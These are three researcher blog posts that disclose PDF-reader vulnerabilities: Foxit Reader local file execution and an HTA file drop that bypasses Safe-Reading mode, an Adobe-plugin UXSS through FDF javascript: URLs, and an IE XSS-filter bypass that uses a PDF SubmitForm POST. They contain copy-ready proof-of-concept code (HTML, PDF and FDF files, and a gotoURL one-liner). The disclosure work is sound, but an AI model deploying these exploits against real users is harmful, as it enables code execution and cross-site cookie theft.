Sunday, August 20, 2017

A tale about Foxit Reader - Safe Reading mode and other vulnerabilities



Some days ago someone send me the following link, which describes two vulnerabilities in Foxit Reader: http://thehackernews.com/2017/08/two-critical-zero-day-flaws-disclosed.html

These two vulnerabilities are similar to the behavior of Foxit Reader I presented at Appsec Belfast 2017. Unfortunately the recording was never published, so I decided it's time for a blog post to give some additional information about these vulnerabilities.

First I have to describe the implemented security model in Foxit Reader.


Safe-Reading mode


Foxit Reader implements a one-line defense, the so-called "Safe-Reading mode". It is enabled by default. In case it is enabled it prohibits the execution of scripts and other features, which can harm the security of the end user.
During my presentation I said, that this feature should never ever be disabled.

In case a vulnerability requires a disabled "Safe-Reading mode", Foxit will mostly not patch it. This is true for the two "vulnerabilities" described in the link above.

Note:
Apparently Foxit decided to provide a patch for the two vulnerabilities mentioned in the hackernews blog post.
https://www.zerodayinitiative.com/blog/2017/8/17/busting-myths-in-foxit-reader

Short quote extracted from the Foxit statement:
"Foxit Software is deeply committed to delivering secure PDF products to its customers. Our track record is strong in responding quickly in fixing vulnerabilities [...]"


So lets continue talking about my similar findings, one of which is still unfixed.

Execute local file  


Reported: 5.5.2017 to Foxit Security team
Security bulletin released: 4.7.2017 https://www.foxitsoftware.com/de/support/security-bulletins.php
Function call: xfa.host.gotoURL
Reality: Still Unfixed. Not protected by Safe-Reading mode!
Tested Foxit version: 8.3.1.21155


CVE-2017-10951 is abusing the app.launchURL JavaScript call to execute a local program, without any user interaction. I am using another function with a similar functionality called xfa.host.gotoURL.
By reading the specification it can be seen that normally these functions accept a URL, which is opened in a new browser window. So far so simple.
I assume CVE-2017-10951 used the same URL I did to execute a local program (I am not 100% sure as no exact details are public).

Instead of passing a http/https URL to xfa.host.gotoURL I used the file:/// protocol handler. To execute cmd.exe. The following file:/// URL is enough:

xfa.host.gotoURL("file:///c:/windows/system32/cmd.exe");

One difference between app.launchURL and xfa.host.gotoURL is this one: xfa.host.gotoURL is not protected by the safe reading mode or as I described in my email to the Foxit security team:

The XFA standard defines the xfa.host.gotoURL function call, which
should load an URL. I discovered that this function is not protected by
the Trust Manager, nor does it check the specified protocol.
The following example will open "cmd.exe" without any user interaction:
xfa.host.gotoURL("file:///C:/windows/system32/cmd.exe");


I have no idea why Foxit did not patch my vulnerability but hopefully they do now!
Note: This is not a full "Safe Reading Mode" bypass. This only works for this exact function call!

Have fun with the PoC (it opens cmd.exe and calc.exe. When you close the PDF it will open explorer.exe):

https://drive.google.com/open?id=0B2HQuxIrwJ53a1hNS2pSYTZzdU0

https://www.youtube.com/watch?v=CWu4OHwtzm8


File execution - limitations:

1) It is not possible to pass parameters to the executed program. Maybe it is possible via app.launchURL but the text/video does not contain any hint that this is the case.
2) When the file:/// protocol handler is pointing to an executable, which is stored on a SMB share, the Windows operating system will trigger a warning box asking the user for confirmation to execute the program.
3) In case the handler is pointing to a currently downloaded file (most likely via the web browser), Windows will once again ask the user for confirmation before the program is executed. Downloaded files contain a so-called "Zone Identifier". This identifier contains information about the source of the executable. In case a file is downloaded from a website like example.com, it will contain a Zone Identifier of 3. A ZI of 3 always triggers a warning dialog before the file is executed (note: there are some exceptions to this rule).

I am aware of one possible way to bypass these restrictions but this will require another blog post ;) 

Drop a file to the local file system


I reported my finding in 2016 via ZDI in combination with the safe-reading mode bypass: http://www.zerodayinitiative.com/advisories/ZDI-16-396/

Reality: Patched in combination with the Safe-Reading mode bypass in 2016. It is still working with disabled Safe-Reading mode (as intended I assume)

Lets move on the next vulnerability described in the link above.
Once again I used a different function call with the same functionality. I think you can see a pattern ^^.
CVE-2017-10592 is using the this.saveAs function call to drop a file to the local file system. I always used the xfa.host.exportData function to achieve the same functionality. Both function accept a device independent path (the PDF way to define a local path, independent of the operating system) to store a file. As the file path is completely user controlled, the file extension can be chosen freely.
In case of the saveAs function, the stored PDF file itself can be converted to other file types  although I do not know if Foxit Reader actually supports this functionality.
The xfa.host.exportData function call exports a XML structure. As it is either really difficult or even impossible to drop a valid executable (as the attacker has no full control of the content of the file), the easiest way to exploit this kind of vulnerability on the Windows operating system is dropping a HTML application (.hta).
A HTML application behaves like a normal HTML file (eg. any characters, which are no valid HTML elements are happily ignored) but it has access to powerful JavaScript API calls, which allow to execute programs with parameters, local file access and more.
All the attacker has to do is embedding a valid script tag inside the PDF structure and ensure that is stored in the created HTA file.

By dropping this kind of file into the startup folder, the attacker just has to wait for the victim to restart his PC. In case the attacker does not want to wait for a restart, he can drop his malicious HTA file and use the before mentioned functionality to immediately execute it (the dropped file does not have a Zone Identifier).

Proof-of-Concept (the PoC stores no real payload in the dropped file):
1. Open the PoC in Foxit Reader
2. Disable Safe Reading mode
3. Restart Foxit Reader
4. Open the PDF
5. Close it. A file called evilHTA.hta will be dropped on the desktop.

PoC: https://drive.google.com/open?id=0B2HQuxIrwJ53cGxPUndCdWY3T28

In case you are wondering why the onclose event is used, I can tell you a near null exception crashes Foxit Reader.


So this was a short introduction about Foxit Reader and why you should never disable the Safe Reading mode.

But wait... is there a way to bypass the "Safe-Reading mode"?
The following bypass is fixed but maybe it inspires someone to search for new bypasses :)


[+] Fixed: Safe-Reading mode bypass 

When I started to play with Foxit Reader I did not read anything about the implemented security and instead just jumped right into it.
I used different functions, which I know could introduce security problems until I tried xfa.host.exportData.
Suddenly my file was dropped without any user interaction. My first reaction was: "WTF? This can't be real. There should be some security protection in place."
So I started to research and discovered: I bypassed the safe-reading mode without even realizing it ^^

Basically what I used while researching was XFA. XFA is a XML structure defined in the PDF standard, which defines everything related to forms in PDF.
It allows to define buttons, text boxes and more. Additionally, similar to HTML, you can react to events triggered for each element and the document itself.
This allows you to specify JavaScript, which is executed as soon as the event is fired. A simplified example to understand the concept is provided by corkami: https://raw.githubusercontent.com/corkami/pocs/master/pdf/formevent_js.pdf

In my case I reacted to the "initialized" event for my created button element.
As you can possible guess, this event is fired every time the element is initialized and therefore it fires really early during the parsing of the PDF structure.
And this was all needed to bypass the "Safe-Reading" mode. Apparently the event fired so early that the mode was not initialized or they forgot to apply it for this event too.



 






 

 

















 






Wednesday, May 24, 2017

PDF - FDF UXSS via trusted document (spoiler - requires a click :/ )


FDF: the file Forms Data Form

In this blogpost I disclose some additional information about a vulnerability I showed during my presentation at Appsec Belfast 2017. 
In the presentation I showed that it is possible to trigger JavaScript execution in any web page as soon as a PDF is trusted.
Although I am aware that a trusted PDF has quite a lot of permissions, I want to explain in this post how FDF can be used to execute JavaScript in a targeted domain.

!NOTE: THIS ONLY WORKS WITH THE ADOBE PDF BROWSER PLUGIN!

What is FDF

In this post I am not going to talk about PDF at all, as the used PDF for this attack does not matter. It just needs to be properly rendered inside the browser and be hosted on the same domain as the injected FDF (eg. your own server like http://attacker.com).

So what is FDF. FDF is a file structure, which allows to exchange field values, Javascript, annotations (eg. comments) and other information between PDFs. There are different ways to load this type of files into a PDF, but I will focus on one particular as it is the simplest one.
The structure of a FDF is defined in the PDF standard: Link to the standard:

It has a similar structure to PDF but I am not going into any details.  The reason being is that FDF defines two keys in his root structure we are going to use for this attack:


/F: The source file or target file: the PDF document file that this FDF file was exported from or is intended to be imported into. 

/Target: The name of a browser frame in which the underlying PDF document is to be opened. This mimics the behavior of the target attribute in HTML tags. 


Basically these two keys allow us to define the PDF, which the FDF belongs to and the window name it is currently loaded.


What do you think happens if we define the following keys:

/F (javascript:alert(location))
/Target (anywindowname)


As long as the PDF, which loads the FDF, is not trusted, you will get a warning box that tells you that certain features are blocked and you need to trust this PDF.
As soon as you trust the PDF, the specified URL in /F key is actually injected in the targeted window name. If it happens to be that the tab, with the specified name, has eg. google.com loaded, the JavaScript will be executed in the context of google.com.

By looking at the specified index.html, you will see that I use the PDF open parameters to load a FDF file. The specification for this behaviour can be found here: PDF open parameters


But enough of the details. Here is a step by step guide, with the payloads copy&paste ready:

1. Save index.html, test.pdf and test.fdf in the root of your web server. My index.html script assumes your web server runs on 127.0.0.1. 
2. Open http://127.0.0.1/index.html in IE (with the Adobe PDF plugin installed) 
3. Click: Load Victim Page (this opens a new tab)
4. Click: Load PDF
5. You will see a yellow warning sign. Click trust this document once
6. Given that my PDF is really simple, you will get a dialog: There was an error parsing this pdf document (just ignore it, you could also use a valid PDF, but then I couldn't copy&paste it in my blog because of the size)
7. After you clicked that you trusted the document once, nothing will happen but the yellow warning sign is not displayed.
8. Click the UXSS button. An alert should show up in the victim page (in my default example: google.com)


// Edit: https://twitter.com/evilcos was so kind to host the PoC on his webserver.
// He modified the FDF payload, so that document.cookie will be alerted
==> http://xssor.io/s/pdf.html

If any problems occur: Write me on twitter @insertscript:
Note: Why I am disclosing this? It requires clicks and yes I am aware that clickjacking could help but given that most of the time users only need to click once or maybe twice to execute a local program, I feel quite safe disclosing this vulnerability. 
Maybe you find a way to bypass the warning popup! 



//index.html
<!DOCTYPE html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
</head>
<body>
<h2>Enter URL you want to UXSS</h2>
<input name="url" type="text" value="https://google.at" id="url"/>
<button value="Fire1" onclick="step1()">Load Victim page</button><br><br>
<h2> Yeah lets load the PDF</h2>
<h2> As you will see you need to click: trust this document once</h2>
<button onclick="step2()">Load PDF</button>
<br><br>
<h2>Click to alert the location of the victim!</h2>
<button onclick="step3()">UXSS</button>
<br><br>
<div id="placeholder"/>
<script>
function step1(){
w = window.open(url.value,"attack");
}

function step2(){
a = document.createElement("iframe");
a.height = 1000;
a.width = 1000;
a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"
placeholder.appendChild(a);
}
function step3(){
a = document.createElement("iframe");
a.height = 0;
a.width = 0;
a.frameborder = 0;
a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"
placeholder.appendChild(a);
}
</script>


//test.pdf
%PDF-1.1

trailer
<< 
/Root 1 0 R
>> 

1 0 obj
<< 
/Type /Catalog
/Pages 2 0 R
>> 
endobj

2 0 obj
<< 
/Type /Action
/S /URI
>> 
endobj

%%EOF

//test.fdf
%FDF-1.2
%âãÏÓ
1 0 obj
<</FDF<</Annots[2 0 R]
/Target (attack)
/F (javascript:alert(location))
/ID[<9DE1D53EE27B8342ABAF121AB257E7EA><4370C7654ACB0D429DF932C95FF78175>]
>>/Type/Catalog>>
endobj
2 0 obj
<< 
/C[1.0 1.0 1.0]
/Contents(HALL2O)
/CreationDate(D:20160821215706+02'00')
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )
/F 4
/M(D:20160821215711+02'00')
/NM(e85d1cb2-2c79-40f5-a2a2-83708ab127c9)
/Page 0
/RC(<?xml version="1.0"?><body xmlns="http://www.w3.org/1999/xhtml" xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"  style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[0 0 0 0]
/Subj(Textfeld)
/Subtype/FreeText
/T(johnny)
/Type/Annot
>> 
endobj

trailer
<</Root 1 0 R>>
%%EOF





Sunday, January 22, 2017

Internet Explorer XSS Filter Bypass for POST with PDF


IE XSS Filter Bypass with PDF


I recently discovered an interesting issue in Internet Explorer regarding bypassing the XSS filter, which I am going to share with you.
Once again, assume the following scenario. The website on example.com suffers from a reflected XSS vulnerability in a POST payload:

test.php
<h1>xss test</h1>
<?php echo $_POST['xss']; ?>
<div>end</div>


Assuming the web page sets all the necessary headers, a post payload like xss=<script>alert(1)</script> will trigger the XSS filter and be caught.
Let's bypass this restriction:


PDF - SubmitForm Action


The PDF specification describes the SubmitForm action, which allows PDF to submit the AcroForm in different formats. One of the possible formats is HTML. Additionally it is possible to specify if a GET or POST request should be used. The response is rendered in the web browser. 
While playing with the feature I discovered that Internet Explorer will never trigger the XSS filter for sent POST requests. This allows to abuse a reflected XSS vulnerability with any payload, without worrying about the XSS filter. 
The following PDF will automatically submit a POST request to http://example.com/test.php. The payload contains xss=<script>alert(1)</script>:

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 33 0 R
/AcroForm 22 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Annot [ 23 0 R ]
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

33 0 obj
<<
/S /SubmitForm
/F
        <<
        % URL TO SUBMIT TO:
        /F (http://example.com/test.php)
        /FS /URL
        >>
% SPECIFIES THE FORMAT AND OTHER FORM RELATED CONFIGURATION
/Flags 6
>>
endobj

22 0 obj
<<
    /Fields [23 0 R]
>>
endobj
23 0 obj
<<
    /DA (/Helv 12 Tf 0 g)
    /F 4
    /FT /Tx
    /Rect [ 9.526760 680.078003 297.527008 702.078003 ]
    /Subtype /Widget
    /Type /Annot
    % PARAMETER NAME
    /T (xss)
    % PARAMETER PAYLOAD
    /V (<script>alert\(1\)</script>)
    /P 4 0 R
>>
endobj
trailer
<<
/Root 1 0 R
>>


Just try it yourself. If you have any question, feel free to contact me on twitter.
To stop the attack from working, you need to enable Protected View: https://helpx.adobe.com/reader/using/protected-mode-windows.html